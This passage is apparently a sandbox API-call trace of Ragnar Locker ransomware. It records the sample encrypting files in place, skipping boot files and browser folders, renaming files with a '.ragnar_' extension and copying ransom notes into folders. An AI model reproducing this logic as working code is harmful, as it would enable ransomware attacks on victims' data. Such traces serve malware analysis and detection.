Shared\\THEMES14\\REFINED\\REFINED.ELM.ragnar_FD7BD9FC" [0075.421] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.422] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0075.422] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0075.422] lstrcpyW (in: lpString1=0x1eab70, lpString2="REFINED.INF" | out: lpString1="REFINED.INF") returned="REFINED.INF" [0075.422] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned=".INF" [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="autorun.inf") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="boot.ini") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="bootfont.bin") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="bootsect.bak") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="bootmgr") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="bootmgr.efi") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="bootmgfw.efi") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="desktop.ini") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="iconcache.db") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="ntldr") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="ntuser.dat") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="ntuser.dat.log") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="ntuser.ini") returned 1 [0075.422] lstrcmpiW (lpString1="REFINED.INF", lpString2="thumbs.db") returned -1 [0075.422] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0075.422] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0075.422] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0075.422] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0075.422] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0075.422] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0075.422] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0075.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf")) returned 0x20 [0075.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.423] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=586) returned 1 [0075.423] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x241, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.423] GetProcessHeap () returned 0x580000 [0075.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.423] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.423] VirtualAlloc (lpAddress=0x0, dwSize=0x24a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.424] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.424] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.424] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x24a, lpOverlapped=0x0) returned 1 [0075.424] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.424] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24a, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.424] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x24a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x24a, lpOverlapped=0x0) returned 1 [0075.424] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.424] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.424] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x24a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.424] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.424] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.425] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.425] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.425] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.425] GetProcessHeap () returned 0x580000 [0075.425] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.425] CloseHandle (hObject=0x10c) returned 1 [0075.425] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" [0075.425] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.ragnar_FD7BD9FC" [0075.425] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.425] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f30d500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f30d500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.425] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0075.425] lstrcpyW (in: lpString1=0x1eab70, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0075.425] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\RGNR_FD7BD9FC.txt") returned=".txt" [0075.426] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0075.426] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.426] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0075.426] lstrcpyW (in: lpString1=0x1eab70, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0075.426] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned=".PNG" [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0075.426] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0075.426] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0075.426] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0075.426] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0075.426] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0075.426] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0075.426] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0075.426] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0075.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0075.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.427] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=15737) returned 1 [0075.427] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3d70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.427] GetProcessHeap () returned 0x580000 [0075.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.427] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.428] VirtualAlloc (lpAddress=0x0, dwSize=0x3d79, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.429] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.429] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.429] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3d79, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x3d79, lpOverlapped=0x0) returned 1 [0075.430] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.430] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d79, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.430] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3d79, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x3d79, lpOverlapped=0x0) returned 1 [0075.430] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d79, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.430] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.430] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3d79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.430] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.430] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.431] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.431] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.431] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.431] GetProcessHeap () returned 0x580000 [0075.431] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.431] CloseHandle (hObject=0x10c) returned 1 [0075.431] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" [0075.431] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0075.431] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.431] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0075.431] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0075.432] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c1a8c80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7c1a8c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.432] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0075.432] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0075.432] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2=".") returned 1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="..") returned 1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="Windows") returned -1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="Windows.old") returned -1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="Tor browser") returned -1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="Internet Explorer") returned 1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="Google") returned 1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="Opera") returned 1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="Opera Software") returned 1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="Mozilla") returned 1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="Mozilla Firefox") returned 1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="$Recycle.Bin") returned 1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="ProgramData") returned 1 [0075.432] lstrcmpiW (lpString1="RICEPAPR", lpString2="All Users") returned 1 [0075.432] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0075.432] lstrcpyW (in: lpString1=0x1eb638, lpString2="RICEPAPR" | out: lpString1="RICEPAPR") returned="RICEPAPR" [0075.432] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\" [0075.432] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\" [0075.432] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RGNR_FD7BD9FC.txt" [0075.432] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0075.435] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*" [0075.435] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0075.435] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0075.435] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0075.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f333660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f333660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0075.435] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0075.435] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f333660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f333660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.435] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0075.435] lstrcmpiW (lpString1="..", 